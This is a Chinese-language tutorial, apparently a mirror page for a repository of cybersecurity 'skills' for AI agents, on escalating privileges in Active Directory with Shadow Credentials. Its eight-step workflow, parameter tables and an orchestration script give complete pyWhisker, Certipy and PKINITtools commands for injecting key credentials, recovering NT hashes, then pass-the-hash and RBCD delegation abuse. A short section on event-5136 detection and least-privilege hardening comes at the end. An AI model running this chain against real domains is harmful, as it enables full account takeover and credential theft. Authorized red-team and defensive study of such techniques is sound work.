利用 Shadow Credentials 实现 Active Directory 提权:pyWhisker、Certipy 与 PKINIT 工具链实战
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
导读
Shadow Credentials 是 Active Directory 攻击面中一类高价值的凭据操纵技术:攻击者在拥有目标用户或计算机对象msDS-KeyCredentialLink属性写权限的前提下,注入自己生成的公钥,再通过 PKINIT 认证流程取回目标账户的 NT Hash,实现无需重置密码的完整账户接管。本文以 Abusing Shadow Credentials for Privilege Escalation 技能为骨架,系统梳理 pyWhisker、Certipyshadow、PKINITtools 三大工具的完整调用方式与参数含义,并结合该技能目录下的编排脚本 scripts/agent.py 从源码层面解析整个攻击链的落地细节、检测信号与修复建议。读完本文,你将掌握从"确认写权限"到"注入 Key Credential"再到"取回 NT Hash 并清理痕迹"的完整实战流程。
一、技术原理:为什么向msDS-KeyCredentialLink写入公钥即可拿下账户
Shadow Credentials 技术滥用的核心属性是 Active Directory 用户与计算机对象上的msDS-KeyCredentialLink。该属性存储原始公钥(即"Key Credentials"),其官方用途是支撑 Windows Hello for Business 与 Azure AD 设备注册所依赖的免密码证书登录——也就是 Kerberos 的 PKINIT(Public Key Cryptography for Initial Authentication)流程。
攻击链的可行性完全取决于 ACL 写权限:当攻击者掌握目标对象msDS-KeyCredentialLink的写权限(通常由GenericWrite、GenericAll、WriteProperty或AddKeyCredentialLink等 ACE 授予,这些路径可通过 BloodHound 快速定位)时,就可以将自己的公钥追加到目标对象的该属性中。此后:
- 攻击者持有与注入公钥配套的私钥;
- 使用该私钥通过 PKINIT 向域控请求目标账户的 TGT(Kerberos 票据);
- 从 AS-REP 加密材料中恢复目标账户的 NT Hash。
整个过程不修改密码,因此不会触发密码重置类告警、不会锁定合法用户,隐蔽性远高于ForceChangePassword一类的暴力手法。
适用前提与限制:目标环境必须支持 PKINIT,且至少有一台运行 Windows Server 2016 及以上版本的域控制器(域功能级别需支持 Key Trust)。攻击面仅限已获得授权的红队/紫队场景——Shadow Credentials 会带来目标账户的完全接管,未经授权使用属于违法行为。这些前提在 SKILL.md 的 "Prerequisites" 与 Legal Notice 中有明确说明。
1.1 本技能在仓库中的定位
在 Anthropic-Cybersecurity-Skills 仓库(共 817 个结构化网络安全技能)中,该技能归属cybersecurity / red-teaming领域,标签涵盖shadow-credentials、pywhisker、certipy、pkinit、key-credential-link、privilege-escalation,并完成双重框架映射:
- MITRE ATT&CK:T1098.005(Account Manipulation: Device Registration)——写入攻击者控制的 Key Credential 等同于为目标账户注册了一个备用的设备/证书凭据,恰好对应该子技术描述的"设备注册操纵"行为;
- NIST CSF 2.0:PR.AA-05——攻击之所以可行,正是因为目标对象上存在过度授权的 ACE(
GenericWrite/GenericAll/AddKeyCredentialLink),修复方向正是最小权限的强制执行。
完整的映射理由与关联技术(T1649、T1550.003/T1558)见 references/standards.md。
二、工具链总览与准备工作
完整攻击链需要三类工具协作,技能文档 SKILL.md 在 "Prerequisites" 中给出了标准安装方式:
| 工具 | 角色 | 安装方式 |
|---|---|---|
| pyWhisker | 通过 LDAP 读写msDS-KeyCredentialLink,生成并注入 Key Credential | git clone后pip install . |
| Certipy | 集成shadow auto一键完成"注入 → PKINIT → 取 Hash → 清理"全流程 | pipx install certipy-ad |
| PKINITtools | 手动完成 PKINIT 请求 TGT 与 NT Hash 提取 | git clone即可 |
前置环境要求:
- 已获得授权的渗透测试范围(包含 AD 凭据获取类技术);
- 掌握一个对目标
msDS-KeyCredentialLink具备写权限的主体; - 一台 Windows Server 2016+ 且启用 PKINIT 的域控制器;
- 攻击主机与域控之间可达 LDAP(389/636)与 Kerberos(88)端口;
- Linux 攻击主机需 Python 3.8+。
三、pyWhisker 完整参数参考(核心参考文档)
pyWhisker 是 ShutdownRepo 维护的 Python 实现(原始 C# 版本为 Elad Shamir 的 Whisker),调用范式为:
python3 pywhisker.py [auth] --target <obj> --action <action> [opts]3.1 认证参数
| 参数 | 含义 |
|---|---|
-d DOMAIN | 目标域名(FQDN),如corp.local |
-u USER | 受控用户名 |
-p PASSWORD | 明文密码 |
-k/--no-pass | 使用 Kerberos 认证(依赖环境变量KRB5CCNAME指向的 ccache) |
-H LM:NT | 传递哈希(Pass-the-Hash) |
3.2 操作参数
| 参数 | 含义 |
|---|---|
--target NAME | 目标用户/计算机名(将修改其属性) |
--action list | 枚举目标上已存在的 Key Credentials |
--action add | 生成密钥对并写入 Key Credential |
--action remove | 按--device-id移除指定的某一条 Key Credential |
--action clear | 清空全部 Key Credentials |
--action info | 展示某条 Key Credential 的详细信息 |
--filename NAME | 输出 PFX/PEM 文件的基名 |
--export PEM\|PFX | 输出格式(默认 PFX) |
--device-id GUID | remove/info 操作锁定的目标设备 ID |
--dc-ip IP | 指定域控制器 IP |
--use-ldaps | 改用 LDAPS(636 端口)通信 |
3.3 pyWhisker 示例
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \ --target victim --action add --filename victim_shadow该命令会生成密钥对写入目标的msDS-KeyCredentialLink,并在本地落盘victim_shadow.pfx,同时打印 PFX 密码供后续 PKINIT 步骤使用。若你只持有 Kerberos 票据而非密码,可切换到票据认证并使用 LDAPS 加密通道:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \ --target "victim" --action "add" --filename victim_shadow --use-ldaps四、Certipyshadow子命令参考(核心参考文档)
Certipy(ly4k/Certipy,安装包名certipy-ad)把整条攻击链封装为shadow子命令:
| 命令 | 含义 |
|---|---|
certipy shadow auto | 端到端一键执行:添加 Key Credential → PKINIT 认证 → 导出 NT Hash → 清理恢复 |
certipy shadow add | 仅添加 Key Credential |
certipy shadow list | 列出目标上的 Key Credentials |
certipy shadow clear | 清空 Key Credentials |
certipy shadow info | 展示 Key Credential 详情 |
4.1 关键认证与定位参数
| 参数 | 含义 |
|---|---|
-u USER@DOMAIN | 用户名(UPN 形式) |
-p PW | 明文密码 |
-hashes :NT | 传递 NT Hash |
-k/-no-pass | 使用 Kerberos ccache |
-dc-ip IP | 域控制器 IP |
-account TARGET | 目标账户(计算机账户需带结尾$,如WS01$) |
-ns IP/-dns-tcp | 指定 DNS 解析器 / 强制 TCP 查询 DNS |
4.2 Certipy 示例
certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'WS01$'shadow auto对计算机账户接管场景尤其高效——它会在内部自动完成 add → PKINIT → dump hash → cleanup 四个阶段,避免手动逐步操作带来的遗漏。需要说明的是,shadow只是 Certipy 众多子命令之一(其余还包括find、req、auth、relay、ca、forge等),同仓库的 exploiting-adcs-with-certipy/references/api-reference.md 提供了 Certipy 全量子命令与公共认证参数(-hashes [LM]:NT、-ns IP/-dns-tcp、-debug等)的交叉参考。
五、PKINITtools:手动取回 TGT 与 NT Hash(核心参考文档)
当不使用shadow auto一键流程时,PKINITtools(dirkjanm)承担 PKINIT 阶段的最后两步:
| 脚本 | 用途 |
|---|---|
gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache | 通过 PKINIT 请求 TGT,同时打印 AS-REP 会话密钥(AS-REP key) |
getnthash.py -key <AS-REP-KEY> DOMAIN/USER | 依据 AS-REP 密钥恢复 NT Hash(需已设置KRB5CCNAME) |
5.1 示例
python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \ corp.local/victim victim.ccache export KRB5CCNAME=victim.ccache python3 getnthash.py -key <AS-REP-KEY> corp.local/victim其中<AS-REP-KEY>是gettgtpkinit.py输出的会话密钥(源码注释将其称为 AS-REP encryption key),getnthash.py正是借助它解密 AS-REP 中的 NT Hash 字段。
六、源码级解析:仓库编排脚本如何封装整条攻击链
仓库在 scripts/agent.py 中提供了一个可复用的编排器shadowcred_takeover.py,它把上面的工具链封装为两个子命令,可以直接作为红队自动化模板使用:
# 走 Certipy 一键流程 python shadowcred_takeover.py certipy -u attacker@corp.local -p 'Passw0rd!' \ --dc-ip 10.0.0.100 --target 'WS01$' # 走 pyWhisker + PKINITtools 手动流程 python shadowcred_takeover.py pywhisker -d corp.local -u attacker \ -p 'Passw0rd!' --dc-ip 10.0.0.100 --target victim \ --pywhisker ./pywhisker/pywhisker.py6.1 Certipy 流程的调用链
从源码结构看,certipy_flow函数(agent.py 第 58-81 行)构造的命令与文档完全一致:
- 启动前用
_which_or_die检查certipy二进制是否存在,缺失时提示pipx install certipy-ad; - 认证参数三选一:
-p(明文密码)、-hashes(传递哈希)、-k -no-pass(Kerberos),三者皆无则直接退出并提示错误; - 可选追加
-ns <IP> -dns-tcp控制 DNS 解析方式; - 通过
run()以 600 秒超时执行子进程,parse_nthash用正则Got hash for ...:aad3b...:<NT>从输出中剥离出 32 位十六进制的 NT Hash 片段(agent.py 第 49-55 行); - 成功后直接打印可复用的横向移动命令:
nxc smb <dc-ip> -u <target> -H <NT>。
6.2 pyWhisker 流程的调用链
pywhisker_flow(agent.py 第 83-112 行)则:
- 校验
--pywhisker指向的脚本存在后,构造--action add --filename shadow_<target>命令; - 同样支持
-p或-k --no-pass两种认证分支; - 从输出中正则提取 PFX 密码(匹配
Password for the PFX: <pw>模式); - 打印后续 PKINITtools 的接续步骤提示(
gettgtpkinit.py/getnthash.py),并强制提示完成后用--action clear清理注入的 Key Credential。
这印证了文档中"add → PKINIT → NT hash → cleanup"的标准工作流,也体现了该技能"操作后恢复对象原状"的实战纪律。
七、完整攻击工作流(八步实战)
结合 SKILL.md 的 Workflow 章节,完整流程如下:
Step 1:确认写权限
先对目标执行list,既能验证权限可用,也能记录攻击前状态:
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \ --target "victim" --action "list"返回空列表或可读结果即说明具备下一步add所需的写权限。
Step 2:注入 Shadow Credential
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \ --target "victim" --action "add" --filename victim_shadow # 生成 victim_shadow.pfx 并打印 PFX 密码Step 3:通过 PKINIT 请求 TGT
python3 PKINITtools/gettgtpkinit.py \ -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \ corp.local/victim victim.ccacheStep 4:恢复 NT Hash
export KRB5CCNAME=victim.ccache python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim # 输出 victim 的 NT hashStep 5:Certipy 一键替代方案
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'victim' # 计算机账户使用带 $ 的 sAMAccountName certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'WS01$'Step 6:利用恢复的凭据继续移动
# 使用 NT hash 进行 Pass-the-Hash nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH> # 或直接使用 TGT 票据 export KRB5CCNAME=victim.ccache nxc smb dc.corp.local -u victim --use-kcacheStep 7(可选):计算机账户 → RBCD 链式利用
当目标是计算机账户时,取回的密钥/Hash 可进一步配置基于资源的约束性委派(RBCD),实现向该主机任意用户冒充:
# 设置 RBCD,使攻击者控制的 SPN 可向 WS01$ 冒充任意用户 impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \ -action write 'corp.local/attacker:Passw0rd!'Step 8:清理
# pyWhisker:按 device-id 移除(add 时打印),或清空自己注入的全部 python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \ --target "victim" --action "remove" --device-id <DEVICE-ID> # Certipy shadow auto 会自动清理;手动流程则执行: certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip 10.0.0.100 -account 'victim'八、检测信号与加固建议
8.1 检测信号(参考文档中的 Detection signal)
- Windows 安全事件 ID 5136:目录对象修改事件。需开启"目录服务更改"(Directory Service Changes) 审计,监控
msDS-KeyCredentialLink属性的变更; - BloodHound 边:
AddKeyCredentialLink边直接标识出哪些主体具备该写权限,可用于攻击路径可视化与权限收敛排查。
8.2 检测与修复要点
| 维度 | 建议 |
|---|---|
| 检测 | 监控事件 5136 中msDS-KeyCredentialLink的修改;当非 AD Connect / 非 Intune 主体写入该属性时应立即告警 |
| 审计 | 在用户/计算机 OU 上启用目录服务对象更改审计 |
| 最小权限 | 移除多余的GenericWrite/GenericAll/AddKeyCredentialLinkACE(对应 BloodHound 的AddKeyCredentialLink边) |
| 缓解 | 在未使用 Windows Hello/设备注册的环境中限制 Key Credentials 的写入者范围,并考虑对 Tier-0 受保护账户单独加固 |
九、验证清单
依据 SKILL.md 的 Validation Criteria,一次完整的 Shadow Credentials 提权练习应以以下结果作为收尾标准:
- 对目标
msDS-KeyCredentialLink的写权限已确认(list成功) - Key Credential 注入成功(PFX 已生成)
- 为目标账户成功取得 PKINIT TGT
- 目标 NT Hash 已恢复并通过某服务验证可用
- (若为计算机账户)RBCD 链式利用或后续移动已验证
- 注入的 Key Credential 已移除 / 对象状态已恢复
- 已记录并给出授权 ACL 路径的修复建议
十、小结
Shadow Credentials 之所以成为红队高价值技术,在于它把"可写对象属性的低危权限"放大为"账户完全接管":pyWhisker 负责属性注入、PKINITtools 负责取回凭据、Certipyshadow auto则把整条链路压缩为一条命令。对防守方而言,事件 5136 与AddKeyCredentialLink边的持续监控、最小权限的 ACE 收敛,是阻断这类攻击的关键。本文对应的完整技能定义、框架映射与可复用编排脚本,可分别参考 SKILL.md、references/standards.md 与 scripts/agent.py。
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考